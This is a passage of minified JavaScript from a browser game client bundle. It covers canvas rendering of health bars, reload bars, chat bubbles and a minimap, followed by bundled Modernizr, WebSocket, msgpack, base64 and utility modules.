be.fillStyle = secondaryReload[R.sid] == 1 ?
SecReloaded = true : SecReloaded = false,
be.rigidRRect(_.x-3 - f+4.89/*x*/, _.y - d +
_.scale + o.nameY + o.healthBarPad - 14, 2.2 * o.reloadBarWidth *
(_.sr<secondaryReload[_.sid]?_.sr+(secondaryReload[_.sid]-
_.sr)*Math.min(1,_.dt/111):secondaryReload[_.sid]), 17 - 2 * o.healthBarPad, 7),
be.fill());
}
_.health > 0 && (o.healthBarWidth,
be.fillStyle = rt,
be.roundRect(_.x - f - o.healthBarWidth -
o.healthBarPad, _.y - d + _.scale + o.nameY, 2 * o.healthBarWidth + 2 *
o.healthBarPad, 17, 8),
be.fill(),
be.fillStyle = _ == R || _.team && _.team
== R.team ? "#8ecc51" : "#cc5151",
be.roundRect(_.x - f - o.healthBarWidth,
_.y - d + _.scale + o.nameY + o.healthBarPad, 2 * o.healthBarWidth * (_.health /
_.maxHealth), 17 - 2 * o.healthBarPad, 7),
be.fill());
}
for (m.update(P, be, f, d),
a = 0; a < W.length; ++a)
if ((_ = W[a]).visible && _.chatCountdown > 0) {
_.chatCountdown -= P,
_.chatCountdown <= 0 && (_.chatCountdown = 0),
be.font = "32px Hammersmith One";
var x = be.measureText(_.chatMessage);
be.textBaseline = "middle",
be.textAlign = "center",
k = _.x - f,
y = _.y - _.scale - d - 90;
var S = x.width + 17;
be.fillStyle = "rgba(0,0,0,0.2)",
be.roundRect(k - S / 2, y - 23.5, S, 47, 6),
be.fill(),
be.fillStyle = "#fff",
be.fillText(_.chatMessage, k, y)
}
!function(e) {
if (R && R.alive) {
Ke.clearRect(0, 0, Ne.width, Ne.height),
Ke.strokeStyle = "#fff",
Ke.lineWidth = 4;
for (var t = 0; t < qt.length; ++t)
(Vt = qt[t]).update(Ke, e);
if (Ke.globalAlpha = 1,
Ke.fillStyle = "#fff",
si(R.x / o.mapScale * Ne.width, R.y / o.mapScale * Ne.height,
7, Ke, !0),
Ke.fillStyle = "rgba(255,255,255,0.35)",
R.team && Et)
for (t = 0; t < Et.length; )
si(Et[t] / o.mapScale * Ne.width, Et[t + 1] /
o.mapScale * Ne.height, 7, Ke, !0),
t += 2;
It && (Ke.fillStyle = "#fc5553",
Ke.font = "34px Hammersmith One",
Ke.textBaseline = "middle",
Ke.textAlign = "center",
Ke.fillText("x", It.x / o.mapScale * Ne.width, It.y /
o.mapScale * Ne.height)),
Mt && (Ke.fillStyle = "#fff",
Ke.font = "34px Hammersmith One",
Ke.textBaseline = "middle",
Ke.textAlign = "center",
Ke.fillText("x", Mt.x / o.mapScale * Ne.width, Mt.y /
o.mapScale * Ne.height))
}
}(P),
-1 !== re.id && Fn(re.startX, re.startY, re.currentX, re.currentY),
-1 !== se.id && Fn(se.startX, se.startY, se.currentX, se.currentY)
}(),
requestAnimFrame(e)
}(),
window.openLink = Oi,
window.aJoinReq = Dt,
window.follmoo = function() {
H || (H = !0,
I("moofoll", 1))
}
,
window.kickFromClan = Lt,
window.sendJoin = Ft,
window.leaveAlliance = Ht,
window.createAlliance = zt,
window.storeBuy = Kt,
window.storeEquip = Jt,
window.showItemInfo = Tt,
window.selectSkinColor = function(e) {
ae = e,
en()
}
,
window.changeStoreIndex = function(e) {
Xt != e && (Xt = e,
Gt())
}
,
window.config = o
}
, function(e, t) {
!function(e, t, n) {
function i(e, t) {
return typeof e === t
}
var r = []
, s = []
, a = {
_version: "3.5.0",
_config: {
classPrefix: "",
enableClasses: !0,
enableJSClass: !0,
usePrefixes: !0
},
_q: [],
on: function(e, t) {
var n = this;
setTimeout((function() {
t(n[e])
}
), 0)
},
addTest: function(e, t, n) {
s.push({
name: e,
fn: t,
options: n
})
},
addAsyncTest: function(e) {
s.push({
name: null,
fn: e
})
}
}
, o = function() {};
o.prototype = a,
o = new o;
var c = t.documentElement
, l = "svg" === c.nodeName.toLowerCase();
o.addTest("passiveeventlisteners", (function() {
var t = !1;
try {
var n = Object.defineProperty({}, "passive", {
get: function() {
t = !0
}
});
e.addEventListener("test", null, n)
} catch (e) {}
return t
}
)),
function() {
var e, t, n, a, c, l;
for (var h in s)
if (s.hasOwnProperty(h)) {
if (e = [],
(t = s[h]).name && (e.push(t.name.toLowerCase()),
t.options && t.options.aliases && t.options.aliases.length))
for (n = 0; n < t.options.aliases.length; n++)
e.push(t.options.aliases[n].toLowerCase());
for (a = i(t.fn, "function") ? t.fn() : t.fn,
c = 0; c < e.length; c++)
1 === (l = e[c].split(".")).length ? o[l[0]] = a : (!
o[l[0]] || o[l[0]]instanceof Boolean || (o[l[0]] = new Boolean(o[l[0]])),
o[l[0]][l[1]] = a),
r.push((a ? "" : "no-") + l.join("-"))
}
}(),
function(e) {
var t = c.className
, n = o._config.classPrefix || "";
if (l && (t = t.baseVal),
o._config.enableJSClass) {
var i = new RegExp("(^|\\s)" + n + "no-js(\\s|$)");
t = t.replace(i, "$1" + n + "js$2")
}
o._config.enableClasses && (t += " " + n + e.join(" " + n),
l ? c.className.baseVal = t : c.className = t)
}(r),
delete a.addTest,
delete a.addAsyncTest;
for (var h = 0; h < o._q.length; h++)
o._q[h]();
e.Modernizr = o
}(window, document)
}
, function(e, t, n) {
var i = n(24);
n(19),
e.exports = {
socket: null,
connected: !1,
socketId: -1,
connect: function(e, t, n) {
if (!this.socket) {
var r = this;
try {
var s = !1
, a = e;
this.socket = new WebSocket(a),
this.socket.binaryType = "arraybuffer",
this.socket.onmessage = function(e) {
var t = new Uint8Array(e.data)
, s = i.decode(t)
, a = s[0];
t = s[1],
"io-init" == a ? r.socketId = t[0] : n[a].apply(void 0, t)
}
,
this.socket.onopen = function() {
r.connected = !0,
t()
}
,
this.socket.onclose = function(e) {
r.connected = !1,
4001 == e.code ? t("Invalid Connection") : s ||
t("disconnected")
}
,
this.socket.onerror = function(e) {
this.socket && this.socket.readyState != WebSocket.OPEN &&
(s = !0,
console.error("Socket error", arguments),
t("Socket error"))
}
} catch (e) {
console.warn("Socket connection error:", e),
t(e)
}
}
},
send: function(e) {
var t = Array.prototype.slice.call(arguments, 1)
, n = i.encode([e, t]);
this.socket.send(n)
},
socketReady: function() {
return this.socket && this.connected
},
close: function() {
this.socket && this.socket.close()
}
}
}
, function(e, t, n) {
t.encode = n(9).encode,
t.decode = n(15).decode,
t.Encoder = n(37).Encoder,
t.Decoder = n(38).Decoder,
t.createCodec = n(39).createCodec,
t.codec = n(40).codec
}
, function(e, t, n) {
(function(t) {
function n(e) {
return e && e.isBuffer && e
}
e.exports = n(void 0 !== t && t) || n(this.Buffer) || n("undefined" !=
typeof window && window.Buffer) || this.Buffer
}
).call(this, n(11).Buffer)
}
, function(e, t, n) {
"use strict";
t.byteLength = function(e) {
var t = l(e)
, n = t[0]
, i = t[1];
return 3 * (n + i) / 4 - i
}
,
t.toByteArray = function(e) {
var t, n, i = l(e), a = i[0], o = i[1], c = new s(function(e, t, n) {
return 3 * (t + n) / 4 - n
}(0, a, o)), h = 0, u = o > 0 ? a - 4 : a;
for (n = 0; n < u; n += 4)
t = r[e.charCodeAt(n)] << 18 | r[e.charCodeAt(n + 1)] << 12 |
r[e.charCodeAt(n + 2)] << 6 | r[e.charCodeAt(n + 3)],
c[h++] = t >> 16 & 255,
c[h++] = t >> 8 & 255,
c[h++] = 255 & t;
return 2 === o && (t = r[e.charCodeAt(n)] << 2 | r[e.charCodeAt(n + 1)] >>
4,
c[h++] = 255 & t),
1 === o && (t = r[e.charCodeAt(n)] << 10 | r[e.charCodeAt(n + 1)] << 4 |
r[e.charCodeAt(n + 2)] >> 2,
c[h++] = t >> 8 & 255,
c[h++] = 255 & t),
c
}
,
t.fromByteArray = function(e) {
for (var t, n = e.length, r = n % 3, s = [], a = 0, o = n - r; a < o; a +=
16383)
s.push(u(e, a, a + 16383 > o ? o : a + 16383));
return 1 === r ? (t = e[n - 1],
s.push(i[t >> 2] + i[t << 4 & 63] + "==")) : 2 === r && (t = (e[n - 2] <<
8) + e[n - 1],
s.push(i[t >> 10] + i[t >> 4 & 63] + i[t << 2 & 63] + "=")),
s.join("")
}
;
for (var i = [], r = [], s = "undefined" != typeof Uint8Array ? Uint8Array :
Array, a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", o =
0, c = a.length; o < c; ++o)
i[o] = a[o],
r[a.charCodeAt(o)] = o;
function l(e) {
var t = e.length;
if (t % 4 > 0)
throw new Error("Invalid string. Length must be a multiple of 4");
var n = e.indexOf("=");
return -1 === n && (n = t),
[n, n === t ? 0 : 4 - n % 4]
}
function h(e) {
return i[e >> 18 & 63] + i[e >> 12 & 63] + i[e >> 6 & 63] + i[63 & e]
}
function u(e, t, n) {
for (var i, r = [], s = t; s < n; s += 3)
i = (e[s] << 16 & 16711680) + (e[s + 1] << 8 & 65280) + (255 & e[s +
2]),
r.push(h(i));
return r.join("")
}
r["-".charCodeAt(0)] = 62,
r["_".charCodeAt(0)] = 63
}
, function(e, t) {
var n = {}.toString;
e.exports = Array.isArray || function(e) {
return "[object Array]" == n.call(e)
}
}
, function(e, t, n) {
var i = n(0);
function r(e) {
return new Array(e)
}
(t = e.exports = r(0)).alloc = r,
t.concat = i.concat,
t.from = function(e) {
if (!i.isBuffer(e) && i.isView(e))
e = i.Uint8Array.from(e);
else if (i.isArrayBuffer(e))
e = new Uint8Array(e);
else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return Array.prototype.slice.call(e)
}
}
, function(e, t, n) {
var i = n(0)
, r = i.global;
function s(e) {
return new r(e)
}
(t = e.exports = i.hasBuffer ? s(0) : []).alloc = i.hasBuffer && r.alloc || s,
t.concat = i.concat,
t.from = function(e) {
if (!i.isBuffer(e) && i.isView(e))
e = i.Uint8Array.from(e);
else if (i.isArrayBuffer(e))
e = new Uint8Array(e);
else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return r.from && 1 !== r.from.length ? r.from(e) : new r(e)
}
}
, function(e, t, n) {
var i = n(0);
function r(e) {
return new Uint8Array(e)
}
(t = e.exports = i.hasArrayBuffer ? r(0) : []).alloc = r,
t.concat = i.concat,
t.from = function(e) {
if (i.isView(e)) {
var n = e.byteOffset
, r = e.byteLength;
(e = e.buffer).byteLength !== r && (e.slice ? e = e.slice(n, n + r) :
(e = new Uint8Array(e)).byteLength !== r && (e = Array.prototype.slice.call(e, n, n
+ r)))
} else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return new Uint8Array(e)
}
}
, function(e, t) {
t.copy = function(e, t, n, i) {
var r;
n || (n = 0),
i || 0 === i || (i = this.length),
t || (t = 0);
var s = i - n;
if (e === this && n < t && t < i)
for (r = s - 1; r >= 0; r--)
e[r + t] = this[r + n];
else
for (r = 0; r < s; r++)
e[r + t] = this[r + n];
return s
}
,
t.toString = function(e, t, n) {
var i = 0 | t;
n || (n = this.length);
for (var r = "", s = 0; i < n; )
(s = this[i++]) < 128 ? r += String.fromCharCode(s) : (192 == (224 & s)
? s = (31 & s) << 6 | 63 & this[i++] : 224 == (240 & s) ? s = (15 & s) << 12 | (63
& this[i++]) << 6 | 63 & this[i++] : 240 == (248 & s) && (s = (7 & s) << 18 | (63 &
this[i++]) << 12 | (63 & this[i++]) << 6 | 63 & this[i++]),
s >= 65536 ? (s -= 65536,
r += String.fromCharCode(55296 + (s >>> 10), 56320 + (1023 & s))) : r
+= String.fromCharCode(s));
return r
}
,
t.write = function(e, t) {
for (var n = t || (t |= 0), i = e.length, r = 0, s = 0; s < i; )
(r = e.charCodeAt(s++)) < 128 ? this[n++] = r : r < 2048 ? (this[n++] =
192 | r >>> 6,
this[n++] = 128 | 63 & r) : r < 55296 || r > 57343 ? (this[n++] = 224 |
r >>> 12,
this[n++] = 128 | r >>> 6 & 63,
this[n++] = 128 | 63 & r) : (r = 65536 + (r - 55296 << 10 |
e.charCodeAt(s++) - 56320),
this[n++] = 240 | r >>> 18,
this[n++] = 128 | r >>> 12 & 63,
this[n++] = 128 | r >>> 6 & 63,
this[n++] = 128 | 63 & r);
return n - t
}
}
, function(e, t, n) {
t.setExtPackers = function(e) {
e.addExtPacker(14, Error, [u, c]),
e.addExtPacker(1, EvalError, [u, c]),
e.addExtPacker(2, RangeError, [u, c]),
e.addExtPacker(3, ReferenceError, [u, c]),
e.addExtPacker(4, SyntaxError, [u, c]),
e.addExtPacker(5, TypeError, [u, c]),
e.addExtPacker(6, URIError, [u, c]),
e.addExtPacker(10, RegExp, [h, c]),
e.addExtPacker(11, Boolean, [l, c]),
e.addExtPacker(12, String, [l, c]),
e.addExtPacker(13, Date, [Number, c]),
e.addExtPacker(15, Number, [l, c]),
"undefined" != typeof Uint8Array && (e.addExtPacker(17, Int8Array, a),
e.addExtPacker(18, Uint8Array, a),
e.addExtPacker(19, Int16Array, a),
e.addExtPacker(20, Uint16Array, a),
e.addExtPacker(21, Int32Array, a),
e.addExtPacker(22, Uint32Array, a),
e.addExtPacker(23, Float32Array, a),
"undefined" != typeof Float64Array && e.addExtPacker(24, Float64Array, a),
"undefined" != typeof Uint8ClampedArray && e.addExtPacker(25,
Uint8ClampedArray, a),
e.addExtPacker(26, ArrayBuffer, a),
e.addExtPacker(29, DataView, a)),
r.hasBuffer && e.addExtPacker(27, s, r.from)
}
;
var i, r = n(0), s = r.global, a = r.Uint8Array.from, o = {
name: 1,
message: 1,
stack: 1,
columnNumber: 1,
fileName: 1,
lineNumber: 1
};
function c(e) {
return i || (i = n(9).encode),
i(e)
}
function l(e) {
return e.valueOf()
}
function h(e) {
(e = RegExp.prototype.toString.call(e).split("/")).shift();
var t = [e.pop()];
return t.unshift(e.join("/")),
t
}
function u(e) {
var t = {};
for (var n in o)
t[n] = e[n];
return t
}
}
, function(e, t, n) {
var i = n(5)
, r = n(7)
, s = r.Uint64BE
, a = r.Int64BE
, o = n(0)
, c = n(6)
, l = n(34)
, h = n(13).uint8
, u = n(3).ExtBuffer
, f = "undefined" != typeof Uint8Array
, d = "undefined" != typeof Map
, p = [];
p[1] = 212,
p[2] = 213,
p[4] = 214,
p[8] = 215,
p[16] = 216,
t.getWriteType = function(e) {
var t = l.getWriteToken(e)
, n = e && e.useraw
, r = f && e && e.binarraybuffer
, g = r ? o.isArrayBuffer : o.isBuffer
, m = r ? function(e, t) {
w(e, new Uint8Array(t))
}
: w
, y = d && e && e.usemap ? function(e, n) {
if (!(n instanceof Map))
return b(e, n);
var i = n.size;
t[i < 16 ? 128 + i : i <= 65535 ? 222 : 223](e, i);
var r = e.codec.encode;
n.forEach((function(t, n, i) {
r(e, n),
r(e, t)
}
))
}
: b;
return {
boolean: function(e, n) {
t[n ? 195 : 194](e, n)
},
function: v,
number: function(e, n) {
var i = 0 | n;
n === i ? t[-32 <= i && i <= 127 ? 255 & i : 0 <= i ? i <= 255 ?
204 : i <= 65535 ? 205 : 206 : -128 <= i ? 208 : -32768 <= i ? 209 : 210](e, i) :
t[203](e, n)
},
object: n ? function(e, n) {
if (g(n))
return function(e, n) {
var i = n.length;
t[i < 32 ? 160 + i : i <= 65535 ? 218 : 219](e, i),
e.send(n)
}(e, n);
k(e, n)
}
: k,
string: function(e) {
return function(n, i) {
var r = i.length
, s = 5 + 3 * r;
n.offset = n.reserve(s);
var a = n.buffer
, o = e(r)
, l = n.offset + o;
r = c.write.call(a, i, l);
var h = e(r);
if (o !== h) {
var u = l + h - o
, f = l + r;
c.copy.call(a, a, u, l, f)
}
t[1 === h ? 160 + r : h <= 3 ? 215 + h : 219](n, r),
n.offset += r
}
}(n ? function(e) {
return e < 32 ? 1 : e <= 65535 ? 3 : 5
}
: function(e) {
return e < 32 ? 1 : e <= 255 ? 2 : e <= 65535 ? 3 : 5
}
),
symbol: v,
undefined: v
};
function k(e, n) {
if (null === n)
return v(e, n);
if (g(n))
return m(e, n);
if (i(n))
return function(e, n) {
var i = n.length;
t[i < 16 ? 144 + i : i <= 65535 ? 220 : 221](e, i);
for (var r = e.codec.encode, s = 0; s < i; s++)
r(e, n[s])
}(e, n);
if (s.isUint64BE(n))
return function(e, n) {
t[207](e, n.toArray())
}(e, n);
if (a.isInt64BE(n))
return function(e, n) {
t[211](e, n.toArray())
}(e, n);
var r = e.codec.getExtPacker(n);
if (r && (n = r(n)),
n instanceof u)
return function(e, n) {
var i = n.buffer
, r = i.length
, s = p[r] || (r < 255 ? 199 : r <= 65535 ? 200 : 201);
t[s](e, r),
h[n.type](e),
e.send(i)
}(e, n);
y(e, n)
}
function v(e, n) {
t[192](e, n)
}
function w(e, n) {
var i = n.length;
t[i < 255 ? 196 : i <= 65535 ? 197 : 198](e, i),
e.send(n)
}
function b(e, n) {
var i = Object.keys(n)
, r = i.length;
t[r < 16 ? 128 + r : r <= 65535 ? 222 : 223](e, r);
var s = e.codec.encode;
i.forEach((function(t) {
s(e, t),
s(e, n[t])
}
))
}
}
}
, function(e, t, n) {
var i = n(4)
, r = n(7)
, s = r.Uint64BE
, a = r.Int64BE
, o = n(13).uint8
, c = n(0)
, l = c.global
, h = c.hasBuffer && "TYPED_ARRAY_SUPPORT"in l && !l.TYPED_ARRAY_SUPPORT
, u = c.hasBuffer && l.prototype || {};
function f() {
var e = o.slice();
return e[196] = d(196),
e[197] = p(197),
e[198] = g(198),
e[199] = d(199),
e[200] = p(200),
e[201] = g(201),
e[202] = m(202, 4, u.writeFloatBE || v, !0),
e[203] = m(203, 8, u.writeDoubleBE || w, !0),
e[204] = d(204),
e[205] = p(205),
e[206] = g(206),
e[207] = m(207, 8, y),
e[208] = d(208),
e[209] = p(209),
e[210] = g(210),
e[211] = m(211, 8, k),
e[217] = d(217),
e[218] = p(218),
e[219] = g(219),
e[220] = p(220),
e[221] = g(221),
e[222] = p(222),
e[223] = g(223),
e
}
function d(e) {
return function(t, n) {
var i = t.reserve(2)
, r = t.buffer;
r[i++] = e,
r[i] = n
}
}
function p(e) {
return function(t, n) {
var i = t.reserve(3)
, r = t.buffer;
r[i++] = e,
r[i++] = n >>> 8,
r[i] = n
}
}
function g(e) {
return function(t, n) {
var i = t.reserve(5)
, r = t.buffer;
r[i++] = e,
r[i++] = n >>> 24,
r[i++] = n >>> 16,
r[i++] = n >>> 8,
r[i] = n
}
}
function m(e, t, n, i) {
return function(r, s) {
var a = r.reserve(t + 1);
r.buffer[a++] = e,
n.call(r.buffer, s, a, i)
}
}
function y(e, t) {
new s(this,t,e)
}
function k(e, t) {
new a(this,t,e)
}
function v(e, t) {
i.write(this, e, t, !1, 23, 4)
}
function w(e, t) {
i.write(this, e, t, !1, 52, 8)
}
t.getWriteToken = function(e) {
return e && e.uint8array ? function() {
var e = f();
return e[202] = m(202, 4, v),
e[203] = m(203, 8, w),
e
}() : h || c.hasBuffer && e && e.safe ? function() {
var e = o.slice();
return e[196] = m(196, 1, l.prototype.writeUInt8),
e[197] = m(197, 2, l.prototype.writeUInt16BE),
e[198] = m(198, 4, l.prototype.writeUInt32BE),
e[199] = m(199, 1, l.prototype.writeUInt8),
e[200] = m(200, 2, l.prototype.writeUInt16BE),
e[201] = m(201, 4, l.prototype.writeUInt32BE),
e[202] = m(202, 4, l.prototype.writeFloatBE),
e[203] = m(203, 8, l.prototype.writeDoubleBE),
e[204] = m(204, 1, l.prototype.writeUInt8),
e[205] = m(205, 2, l.prototype.writeUInt16BE),
e[206] = m(206, 4, l.prototype.writeUInt32BE),
e[207] = m(207, 8, y),
e[208] = m(208, 1, l.prototype.writeInt8),
e[209] = m(209, 2, l.prototype.writeInt16BE),
e[210] = m(210, 4, l.prototype.writeInt32BE),
e[211] = m(211, 8, k),
e[217] = m(217, 1, l.prototype.writeUInt8),
e[218] = m(218, 2, l.prototype.writeUInt16BE),
e[219] = m(219, 4, l.prototype.writeUInt32BE),
e[220] = m(220, 2, l.prototype.writeUInt16BE),
e[221] = m(221, 4, l.prototype.writeUInt32BE),
e[222] = m(222, 2, l.prototype.writeUInt16BE),
e[223] = m(223, 4, l.prototype.writeUInt32BE),
e
}() : f()
}
}
, function(e, t, n) {
t.setExtUnpackers = function(e) {
e.addExtUnpacker(14, [o, l(Error)]),
e.addExtUnpacker(1, [o, l(EvalError)]),
e.addExtUnpacker(2, [o, l(RangeError)]),
e.addExtUnpacker(3, [o, l(ReferenceError)]),
e.addExtUnpacker(4, [o, l(SyntaxError)]),
e.addExtUnpacker(5, [o, l(TypeError)]),
e.addExtUnpacker(6, [o, l(URIError)]),
e.addExtUnpacker(10, [o, c]),
e.addExtUnpacker(11, [o, h(Boolean)]),
e.addExtUnpacker(12, [o, h(String)]),
e.addExtUnpacker(13, [o, h(Date)]),
e.addExtUnpacker(15, [o, h(Number)]),
"undefined" != typeof Uint8Array && (e.addExtUnpacker(17, h(Int8Array)),
e.addExtUnpacker(18, h(Uint8Array)),
e.addExtUnpacker(19, [u, h(Int16Array)]),
e.addExtUnpacker(20, [u, h(Uint16Array)]),
e.addExtUnpacker(21, [u, h(Int32Array)]),
e.addExtUnpacker(22, [u, h(Uint32Array)]),
e.addExtUnpacker(23, [u, h(Float32Array)]),
"undefined" != typeof Float64Array && e.addExtUnpacker(24, [u,
h(Float64Array)]),
"undefined" != typeof Uint8ClampedArray && e.addExtUnpacker(25,
h(Uint8ClampedArray)),
e.addExtUnpacker(26, u),
e.addExtUnpacker(29, [u, h(DataView)])),
r.hasBuffer && e.addExtUnpacker(27, h(s))
}
;
var i, r = n(0), s = r.global, a = {
name: 1,
message: 1,
stack: 1,
columnNumber: 1,
fileName: 1,
lineNumber: 1
};
function o(e) {
return i || (i = n(15).decode),
i(e)
}
function c(e) {
return RegExp.apply(null, e)
}
function l(e) {
return function(t) {
var n = new e;
for (var i in a)
n[i] = t[i];
return n
}
}
function h(e) {
return function(t) {
return new e(t)
}
}
function u(e) {
return new Uint8Array(e).buffer
}
}
, function(e, t, n) {
var i = n(17);
function r(e) {
var t, n = new Array(256);
for (t = 0; t <= 127; t++)
n[t] = s(t);
for (t = 128; t <= 143; t++)
n[t] = o(t - 128, e.map);
for (t = 144; t <= 159; t++)
n[t] = o(t - 144, e.array);
for (t = 160; t <= 191; t++)
n[t] = o(t - 160, e.str);
for (n[192] = s(null),
n[193] = null,
n[194] = s(!1),
n[195] = s(!0),
n[196] = a(e.uint8, e.bin),
n[197] = a(e.uint16, e.bin),
n[198] = a(e.uint32, e.bin),
n[199] = a(e.uint8, e.ext),
n[200] = a(e.uint16, e.ext),
n[201] = a(e.uint32, e.ext),
n[202] = e.float32,
n[203] = e.float64,
n[204] = e.uint8,
n[205] = e.uint16,
n[206] = e.uint32,
n[207] = e.uint64,
n[208] = e.int8,
n[209] = e.int16,
n[210] = e.int32,
n[211] = e.int64,
n[212] = o(1, e.ext),
n[213] = o(2, e.ext),
n[214] = o(4, e.ext),
n[215] = o(8, e.ext),
n[216] = o(16, e.ext),
n[217] = a(e.uint8, e.str),
n[218] = a(e.uint16, e.str),
n[219] = a(e.uint32, e.str),
n[220] = a(e.uint16, e.array),
n[221] = a(e.uint32, e.array),
n[222] = a(e.uint16, e.map),
n[223] = a(e.uint32, e.map),
t = 224; t <= 255; t++)
n[t] = s(t - 256);
return n
}
function s(e) {
return function() {
return e
}
}
function a(e, t) {
return function(n) {
var i = e(n);
return t(n, i)
}
}
function o(e, t) {
return function(n) {
return t(n, e)
}
}
t.getReadToken = function(e) {
var t = i.getReadFormat(e);
return e && e.useraw ? function(e) {
var t, n = r(e).slice();
for (n[217] = n[196],
n[218] = n[197],
n[219] = n[198],
t = 160; t <= 191; t++)
n[t] = o(t - 160, e.bin);
return n
}(t) : r(t)
}
}
, function(e, t, n) {
t.Encoder = s;
var i = n(18)
, r = n(10).EncodeBuffer;
function s(e) {
if (!(this instanceof s))
return new s(e);
r.call(this, e)
}
s.prototype = new r,
i.mixin(s.prototype),
s.prototype.encode = function(e) {
this.write(e),
this.emit("data", this.read())
}
,
s.prototype.end = function(e) {
arguments.length && this.encode(e),
this.flush(),
this.emit("end")
}
}
, function(e, t, n) {
t.Decoder = s;
var i = n(18)
, r = n(16).DecodeBuffer;
function s(e) {
if (!(this instanceof s))
return new s(e);
r.call(this, e)
}
s.prototype = new r,
i.mixin(s.prototype),
s.prototype.decode = function(e) {
arguments.length && this.write(e),
this.flush()
}
,
s.prototype.push = function(e) {
this.emit("data", e)
}
,
s.prototype.end = function(e) {
this.decode(e),
this.emit("end")
}
}
, function(e, t, n) {
n(8),
n(2),
t.createCodec = n(1).createCodec
}
, function(e, t, n) {
n(8),
n(2),
t.codec = {
preset: n(1).preset
}
}
, function(e, t) {
var n, i, r = e.exports = {};
function s() {
throw new Error("setTimeout has not been defined")
}
function a() {
throw new Error("clearTimeout has not been defined")
}
function o(e) {
if (n === setTimeout)
return setTimeout(e, 0);
if ((n === s || !n) && setTimeout)
return n = setTimeout,
setTimeout(e, 0);
try {
return n(e, 0)
} catch (t) {
try {
return n.call(null, e, 0)
} catch (t) {
return n.call(this, e, 0)
}
}
}
!function() {
try {
n = "function" == typeof setTimeout ? setTimeout : s
} catch (e) {
n = s
}
try {
i = "function" == typeof clearTimeout ? clearTimeout : a
} catch (e) {
i = a
}
}();
var c, l = [], h = !1, u = -1;
function f() {
h && c && (h = !1,
c.length ? l = c.concat(l) : u = -1,
l.length && d())
}
function d() {
if (!h) {
var e = o(f);
h = !0;
for (var t = l.length; t; ) {
for (c = l,
l = []; ++u < t; )
c && c[u].run();
u = -1,
t = l.length
}
c = null,
h = !1,
function(e) {
if (i === clearTimeout)
return clearTimeout(e);
if ((i === a || !i) && clearTimeout)
return i = clearTimeout,
clearTimeout(e);
try {
i(e)
} catch (t) {
try {
return i.call(null, e)
} catch (t) {
return i.call(this, e)
}
}
}(e)
}
}
function p(e, t) {
this.fun = e,
this.array = t
}
function g() {}
r.nextTick = function(e) {
var t = new Array(arguments.length - 1);
if (arguments.length > 1)
for (var n = 1; n < arguments.length; n++)
t[n - 1] = arguments[n];
l.push(new p(e,t)),
1 !== l.length || h || o(d)
}
,
p.prototype.run = function() {
this.fun.apply(null, this.array)
}
,
r.title = "browser",
r.browser = !0,
r.env = {},
r.argv = [],
r.version = "",
r.versions = {},
r.on = g,
r.addListener = g,
r.once = g,
r.off = g,
r.removeListener = g,
r.removeAllListeners = g,
r.emit = g,
r.prependListener = g,
r.prependOnceListener = g,
r.listeners = function(e) {
return []
}
,
r.binding = function(e) {
throw new Error("process.binding is not supported")
}
,
r.cwd = function() {
return "/"
}
,
r.chdir = function(e) {
throw new Error("process.chdir is not supported")
}
,
r.umask = function() {
return 0
}
}
, function(e, t) {
var n = Math.abs
, i = (Math.cos,
Math.sin,
Math.pow,
Math.sqrt)
, r = (n = Math.abs,
Math.atan2)
, s = Math.PI;
e.exports.randInt = function(e, t) {
return Math.floor(Math.random() * (t - e + 1)) + e
}
,
e.exports.randFloat = function(e, t) {
return Math.random() * (t - e + 1) + e
}
,
e.exports.lerp = function(e, t, n) {
return e + (t - e) * n
}
,
e.exports.decel = function(e, t) {
return e > 0 ? e = Math.max(0, e - t) : e < 0 && (e = Math.min(0, e + t)),
e
}
,
e.exports.getDistance = function(e, t, n, r) {
return i((n -= e) * n + (r -= t) * r)
}
,
e.exports.getDirection = function(e, t, n, i) {
return r(t - i, e - n)
}
,
e.exports.getAngleDist = function(e, t) {
var i = n(t - e) % (2 * s);
return i > s ? 2 * s - i : i
}
,
e.exports.isNumber = function(e) {
return "number" == typeof e && !isNaN(e) && isFinite(e)
}
,
e.exports.isString = function(e) {
return e && "string" == typeof e
}
,
e.exports.kFormat = function(e) {
return e > 999 ? (e / 1e3).toFixed(1) + "k" : e
}
,
e.exports.capitalizeFirst = function(e) {
return e.charAt(0).toUpperCase() + e.slice(1)
}
,
e.exports.fixTo = function(e, t) {
return parseFloat(e.toFixed(t))
}
,
e.exports.sortByPoints = function(e, t) {
return parseFloat(t.points) - parseFloat(e.points)
}
,
e.exports.lineInRect = function(e, t, n, i, r, s, a, o) {
var c = r
, l = a;
if (r > a && (c = a,
l = r),
l > n && (l = n),
c < e && (c = e),
c > l)
return !1;
var h = s
, u = o
, f = a - r;
if (Math.abs(f) > 1e-7) {
var d = (o - s) / f
, p = s - d * r;
h = d * c + p,
u = d * l + p
}
if (h > u) {
var g = u;
u = h,
h = g
}
return u > i && (u = i),
h < t && (h = t),
!(h > u)
}
,
e.exports.containsPoint = function(e, t, n) {
var i = e.getBoundingClientRect()
, r = i.left + window.scrollX
, s = i.top + window.scrollY
, a = i.width
, o = i.height;
return t > r && t < r + a && n > s && n < s + o
}
,
e.exports.mousifyTouchEvent = function(e) {
var t = e.changedTouches[0];
e.screenX = t.screenX,
e.screenY = t.screenY,
e.clientX = t.clientX,
e.clientY = t.clientY,
e.pageX = t.pageX,
e.pageY = t.pageY
}
,
e.exports.hookTouchEvents = function(t, n) {
var i = !n
, r = !1;
function s(n) {
e.exports.mousifyTouchEvent(n),
window.setUsingTouch(!0),
i && (n.preventDefault(),
n.stopPropagation()),
r && (t.onclick && t.onclick(n),
t.onmouseout && t.onmouseout(n),
r = !1)
}
t.addEventListener("touchstart", e.exports.checkTrusted((function(n) {
e.exports.mousifyTouchEvent(n),
window.setUsingTouch(!0),
i && (n.preventDefault(),
n.stopPropagation()),
t.onmouseover && t.onmouseover(n),
r = !0
}
)), !1),
t.addEventListener("touchmove", e.exports.checkTrusted((function(n) {
e.exports.mousifyTouchEvent(n),
window.setUsingTouch(!0),
i && (n.preventDefault(),
n.stopPropagation()),
e.exports.containsPoint(t, n.pageX, n.pageY) ? r || (t.onmouseover &&
t.onmouseover(n),
r = !0) : r && (t.onmouseout && t.onmouseout(n),
r = !1)
}
)), !1),
